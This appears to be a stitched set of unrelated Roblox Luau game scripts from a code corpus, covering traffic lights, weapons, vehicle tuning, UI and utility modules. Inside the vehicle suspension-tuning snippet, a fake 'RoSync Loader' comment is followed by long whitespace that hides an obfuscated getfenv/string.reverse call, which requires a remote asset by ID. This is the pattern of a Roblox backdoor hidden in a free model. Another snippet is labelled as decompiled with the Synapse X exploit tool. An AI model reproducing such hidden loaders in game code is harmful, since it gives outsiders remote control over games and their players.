Roblox/luau_corpus huggingface dataset:
-- for scene switching specifically
local waitForOrchestra = {}

waitForOrchestra.task = task

function waitForOrchestra:call()
	while
		not SceneFramework:GetAttribute(enums.Attribute.FrameworkReady)
		or not Conductor:GetAttribute(enums.Attribute.FrameworkReady)
	do
		waitForOrchestra.task.wait()
	end
end

return waitForOrchestra
--[=[
	@param name string
	@param fn (player: Player, ...: any) -> ...: any
	@param inboundMiddleware ServerMiddleware?
	@param outboundMiddleware ServerMiddleware?
	@return RemoteFunction
	Creates a RemoteFunction and binds the given function to it. Inbound
	and outbound middleware can be applied if desired.
]=]
function ServerComm:BindFunction(name: string, func: FnBind, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?): RemoteFunction
	return Comm.Server.BindFunction(self._instancesFolder, name, func, inboundMiddleware, outboundMiddleware)
end
--FLASH MODE-- 
--Flashing Red
while true do
	script.Parent.Parent.SignalValues.Signal1.Value = 3
	script.Parent.Parent.SignalValues.Signal1a.Value = 3
	script.Parent.Parent.SignalValues.Signal2.Value = 3
	script.Parent.Parent.SignalValues.Signal2a.Value = 3
	script.Parent.Parent.TurnValues.TurnSignal1.Value = 3
	script.Parent.Parent.TurnValues.TurnSignal1a.Value = 3
	script.Parent.Parent.TurnValues.TurnSignal2.Value = 3
	script.Parent.Parent.TurnValues.TurnSignal2a.Value = 3
	script.Parent.Parent.PedValues.PedSignal1.Value = 0
	script.Parent.Parent.PedValues.PedSignal1a.Value = 0
	script.Parent.Parent.PedValues.PedSignal2.Value = 0
	script.Parent.Parent.PedValues.PedSignal2a.Value = 0
	wait(.5)
	script.Parent.Parent.SignalValues.Signal1.Value = 0
	script.Parent.Parent.SignalValues.Signal1a.Value = 0
	script.Parent.Parent.SignalValues.Signal2.Value = 0
	script.Parent.Parent.SignalValues.Signal2a.Value = 0
	script.Parent.Parent.TurnValues.TurnSignal1.Value = 0
	script.Parent.Parent.TurnValues.TurnSignal1a.Value = 0
	script.Parent.Parent.TurnValues.TurnSignal2.Value = 0
	script.Parent.Parent.TurnValues.TurnSignal2a.Value = 0
	script.Parent.Parent.PedValues.PedSignal1.Value = 0
	script.Parent.Parent.PedValues.PedSignal1a.Value = 0
	script.Parent.Parent.PedValues.PedSignal2.Value = 0
	script.Parent.Parent.PedValues.PedSignal2a.Value = 0
	wait(.5)
end
-- Functions

function MapManager:SaveMap()
	for _, child in ipairs(game.Workspace:GetChildren()) do
		if not child:IsA('Camera') and not child:IsA('Terrain') and not child:IsA('Folder') then
			local copy = child:Clone()
			if copy then
				copy.Parent = MapSave
			end	
		end
	end
end

function MapManager:ClearMap()
	for _, child in ipairs(game.Workspace:GetChildren()) do
		if not child:IsA('Camera') and not child:IsA('Terrain') and not child:IsA('Folder') then
			child:Destroy()
		end
	end
end

function MapManager:LoadMap()
	spawn(function()
		for _, child in ipairs(MapSave:GetChildren()) do
			local copy = child:Clone()
			copy.Parent = game.Workspace
		end
	end)
end
	
return MapManager
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
function DynamicThumbstick:GetIsJumping()
	local wasJumping = self.isJumping
	self.isJumping = false
	return wasJumping
end

function DynamicThumbstick:Enable(enable, uiParentFrame)
	if enable == nil then return false end			-- If nil, return false (invalid argument)
	enable = enable and true or false				-- Force anything non-nil to boolean before comparison
	if self.enabled == enable then return true end	-- If no state change, return true indicating already in requested state

	if enable then
		-- Enable
		if not self.thumbstickFrame then
			self:Create(uiParentFrame)
		end

		self:BindContextActions()
	else
		ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME)
		-- Disable
		self:OnInputEnded() -- Cleanup
	end

	self.enabled = enable
	self.thumbstickFrame.Visible = enable
end
--[=[
	Converts a Promise into an observable.
	https://rxjs-dev.firebaseapp.com/api/index/function/from

	@param promise Promise<T>
	@return Observable<T>
]=]
function Rx.fromPromise(promise)
	assert(Promise.isPromise(promise))

	return Observable.new(function(sub)
		if promise:IsFulfilled() then
			sub:Fire(promise:Wait())
			sub:Complete()
			return nil
		end

		local maid = Maid.new()

		local pending = true
		maid:GiveTask(function()
			pending = false
		end)

		promise:Then(
			function(...)
				if pending then
					sub:Fire(...)
					sub:Complete()
				end
			end,
			function(...)
				if pending then
					sub:Fail(...)
					sub:Complete()
				end
			end)

		return maid
	end)
end
--Put it in startercharacterscripts

local runService = game:GetService("RunService")

local character = script.Parent
local humanoid = character:WaitForChild("Humanoid")
local TS = game:GetService("TweenService")

function updateBobbleEffect()
	local currentTime = tick()
	if humanoid.MoveDirection.Magnitude > 0 then -- we are walking
		local bobbleX = math.cos(currentTime * 5.6) * .5
		local bobbleY = math.abs(math.sin(currentTime * 5.6)) * .5

		local bobble = Vector3.new(bobbleX, bobbleY, -.45)
		TS:Create(humanoid, TweenInfo.new(.1), {CameraOffset = humanoid.CameraOffset:lerp(bobble, .35)}):Play()
	else -- we are not walking
		TS:Create(humanoid, TweenInfo.new(.1), {CameraOffset = Vector3.new(0, 0, -.45)}):Play()
	end
end


runService.RenderStepped:Connect(updateBobbleEffect)
--Creates a display Gui for the soft shutdown.

return function()
	local ScreenGui = Instance.new("ScreenGui")
	ScreenGui.Name = "SoftShutdownGui"
	ScreenGui.DisplayOrder = 100
	
	--Create background to cover behind top bar.
	local Frame = Instance.new("Frame")
	Frame.BackgroundColor3 = Color3.new(0.188235, 0.188235, 0.188235)
	Frame.Position = UDim2.new(-0.5,0,-0.5,0)
	Frame.Size = UDim2.new(2,0,2,0)
	Frame.ZIndex = 10
	Frame.Parent = ScreenGui
	
	local function CreateTextLabel(Size,Position,Text)
		local TextLabel = Instance.new("TextLabel")
		TextLabel.BackgroundTransparency = 1
		TextLabel.Size = Size
		TextLabel.Position = Position
		TextLabel.Text = Text
		TextLabel.ZIndex = 10
		TextLabel.Font = "SourceSansBold"
		TextLabel.TextScaled = true
		TextLabel.TextColor3 = Color3.new(1,1,1)
		TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
		TextLabel.TextStrokeTransparency = 0
		TextLabel.Parent = Frame
	end
	
	--Create text.
	CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"SHUTDOWN")
	CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is shutting down.")
	CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait while we teleport you to a new server.")
	
	--Return the ScreenGui and the background.
	return ScreenGui,Frame		
end
--[=[
	@class PromiseInstanceUtils
]=]

local require = require(script.Parent.loader).load(script)

local Promise = require("Promise")
local Maid = require("Maid")

local PromiseInstanceUtils = {}
-- / Gun / --
local Gun = script.Parent.Parent
local BodyAttach = Gun.Handle
-- TODO: Optimize this for vertical faces
function BitOps.setFaceConnectivity(connectivity, face, faceBits)
	local horizontalFace = face.Y ~= 0

	for listIndex, bitmaskIndex in ipairs(BitOps.CONNECTIVITY_INDEXES_FOR_FACE[tostring(BitOps.normalizeVec3(face))]) do
		if horizontalFace then
			connectivity = bit32.replace(connectivity, bit32.extract(faceBits, 7 - (listIndex - 1)), bitmaskIndex)
		else
			connectivity = bit32.replace(connectivity, bit32.extract(faceBits, 8 - (listIndex - 1)), bitmaskIndex)
		end
	end

	return connectivity
end
-------- OMG HAX

r = game:service("RunService")


local damage = 5


local slash_damage = 8
local lunge_damage = 39

sword = script.Parent.Handle
Tool = script.Parent


local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1


function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(damage)
				wait(1)
				untagHumanoid(humanoid)
			end
		end


	end
end


function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end


function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool
	
	
	force = Instance.new("BodyVelocity")
	force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
	force.Parent = Tool.Parent.Torso
	wait(.25)
	swordOut()
	wait(.25)
	force.Parent = nil
	wait(.5)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end


Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return 
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end


function onEquipped()
	UnsheathSound:play()
end


script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)


connection = sword.Touched:connect(blow)
---------
-- Remote logging is disabled by default
Log.SetRemoteFilterFunc(_remoteFilterEverything)

if RunService:IsClient() then
	_remoteEvent = ReplicatedStorage:WaitForChild(_EVENT_NAME)
else
	_remoteEvent = Instance.new('RemoteEvent', ReplicatedStorage)
	_remoteEvent.Name = _EVENT_NAME
	_remoteEvent.OnServerEvent:Connect(onClientLogging)
end
------------------------------------------------------------------------
-- size and position of opcode arguments.
-- * WARNING size and position is hard-coded elsewhere in this script
------------------------------------------------------------------------
luaP.SIZE_C  = 9
luaP.SIZE_B  = 9
luaP.SIZE_Bx = luaP.SIZE_C + luaP.SIZE_B
luaP.SIZE_A  = 8

luaP.SIZE_OP = 6

luaP.POS_OP = 0
luaP.POS_A  = luaP.POS_OP + luaP.SIZE_OP
luaP.POS_C  = luaP.POS_A + luaP.SIZE_A
luaP.POS_B  = luaP.POS_C + luaP.SIZE_C
luaP.POS_Bx = luaP.POS_C
--Front Suspension
Tune.FSusDamping	= 500		-- Spring Dampening
Tune.FSusStiffness	= 8000		-- Spring Force
Tune.FSusLength		= 2			-- Suspension length (in studs)
Tune.FSusMaxExt		= .3		-- Max Extension Travel (in studs)
Tune.FSusMaxComp	= .1		-- Max Compression Travel (in studs)
Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

Tune.FWsBoneLen		= 5			-- Wishbone Length
Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	--[[Lateral]]		-.4		,	-- positive = outward
	--[[Vertical]]		-.5		,	-- positive = upward
	--[[Forward]]		0		}	-- positive = forward
--[[Weight and CG]]
	Tune.Weight			= 3100		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		1		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= -2		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
--[[ Last synced 10/14/2020 09:14 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--// Reposition player
		if child.Part1.Name == "HumanoidRootPart" then
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
				GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
				GUI:Clone().Parent = player.PlayerGui --// Compact version
				script.Parent.Startup:Play()
			end
		end
	end
end)

script.Parent.ChildRemoved:connect(function(child)
	if child:IsA("Weld") then
		if child.Part1.Name == "HumanoidRootPart" then
			script.Parent.Parent.Parent.RWD.MaxSpeed = 0
			  script.Parent.Parent.Parent.RWD.Throttle = 0
  				script.Parent.Parent.Parent.RWD.Torque = 20
				 script.Parent.Parent.Parent.LW.VS.MaxSpeed = 0
 				  script.Parent.Parent.Parent.LW.VS.Throttle = 0
  					 script.Parent.Parent.Parent.LW.VS.Torque = 20
					   script.Parent.Parent.Parent.RW.VS.MaxSpeed = 0
  						script.Parent.Parent.Parent.RW.VS.Throttle = 0
  						 script.Parent.Parent.Parent.RW.VS.Torque = 20
						  script.Parent.Sound:Stop()
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and player.PlayerGui:FindFirstChild("Screen") then
				player.PlayerGui:FindFirstChild("Screen"):Destroy()
			end
		end
	end	
end)
--[=[
	Constructs a new Signal that wraps around an RBXScriptSignal.

	@param rbxScriptSignal RBXScriptSignal -- Existing RBXScriptSignal to wrap
	@return Signal

	For example:
	```lua
	local signal = Signal.Wrap(workspace.ChildAdded)
	signal:Connect(function(part) print(part.Name .. " added") end)
	Instance.new("Part").Parent = workspace
	```
]=]
function Signal.Wrap(rbxScriptSignal)
	assert(typeof(rbxScriptSignal) == "RBXScriptSignal", "Argument #1 to Signal.Wrap must be a RBXScriptSignal; got " .. typeof(rbxScriptSignal))
	local signal = Signal.new()
	signal._proxyHandler = rbxScriptSignal:Connect(function(...)
		signal:Fire(...)
	end)
	return signal
end
-- nO tOuChIe
local CanAttack = true

script.Parent.Slash.OnServerEvent:Connect(function()
 local attack = script.Parent.Parent.Humanoid:LoadAnimation(script.Attack)
 
 if CanAttack == true then
  attack:Play()
  CanAttack = false
  script.Parent.CanDamage.Value = true
  wait(1)
  attack:Stop()
  CanAttack = true
  script.Parent.CanDamage.Value = false
 end
end)
--- Invoke
Signal.Invoke = function(funcName, ...)
	funcName = string.lower(funcName)
	local func = GetFunc(funcName)

	if (not isServer) and funcName ~= "core signal fired" then
		Signal.Fire("CORE Signal Fired", funcName)
	end

	--
	return func:Invoke(...)
end
--[[
	Get the current state of the Store. Do not mutate this!
]]
function Store:getState()
	return self._state
end
-----------------
--| Functions |--
-----------------

script.Parent.poopi.OnServerEvent:Connect(function()
	local myModel = MyPlayer.Character
	if Tool.Enabled and myModel and myModel:FindFirstChildOfClass("Humanoid") and myModel.Humanoid.Health > 0 then
		Tool.Enabled = false
		local Pos = MouseLoc:InvokeClient(MyPlayer)
		-- Create a clone of Rocket and set its color
		local rocketClone = Rocket:Clone()
		DebrisService:AddItem(rocketClone, 30)
		rocketClone.BrickColor = MyPlayer.TeamColor

		-- Position the rocket clone and launch!
		local spawnPosition = (ToolHandle.CFrame * CFrame.new(5, 0, 0)).p
		rocketClone.CFrame = CFrame.new(spawnPosition, Pos) --NOTE: This must be done before assigning Parent
		rocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent
		rocketClone.Parent = workspace
		rocketClone:SetNetworkOwner(nil)

		wait(RELOAD_TIME)

		Tool.Enabled = true
	end
end)

function OnEquipped()
	MyPlayer = PlayersService:GetPlayerFromCharacter(Tool.Parent)
end
--[[**
		ensures value matches given interface definition strictly

		@param checkTable The interface definition

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.strictInterface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess = t.table(value)
			if tableSuccess == false then
				return false
			end

			for key, check in pairs(checkTable) do
				local success = check(value[key])
				if success == false then
					return false
				end
			end

			for key in pairs(value) do
				if not checkTable[key] then
					return false
				end
			end

			return true
		end
	end
end
-- Decompiled with the Synapse X Luau decompiler.

while true do
	wait();
	if workspace:FindFirstChild("Song") then
		break;
	end;
end;
while true do
	wait();
	if script.Parent:FindFirstChild("Where") then
		break;
	end;
end;
while true do
	wait();
	if script.Parent:FindFirstChild("Where").Value ~= nil then
		break;
	end;
end;
while wait() do
	if workspace.Song.PlaybackLoudness / 160 <= 7 then
		script.Parent.Where.Value.Size = NumberSequence.new(workspace.Song.PlaybackLoudness / 160);
	else
		script.Parent.Where.Value.Size = NumberSequence.new(7);
	end;
end;
--[[
	Novena Constraint Type: Motorcycle
			The Bike Chassis
	
	
					RikOne2 | Enjin
--]]
local bike = script.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local handler = bike:WaitForChild("AC6_Sound")

local on = 0
local mult=0
local det=0
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0

local SetPitch = .1
local SetRev = 1.8

local vol = .1 --Set the volume for everything below

handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))
--generate templates

function GT()
	---Clean
	for _,v in pairs(ScrollFrame:GetChildren()) do
		if v:IsA("Frame") then
			v:Destroy()
		end
	end
	---Generate
	for _,v in pairs(CarStorage:GetChildren()) do
		local Templatecopy = Template:Clone()
		Templatecopy.Parent = ScrollFrame
		Templatecopy.CarName.Text = v.Name
		Templatecopy.BuySpawn.VehicleName.Value = v.Name
		Templatecopy.ImageFrame.ImageLabel.Image = v.Image.Value
	end
end	
GT()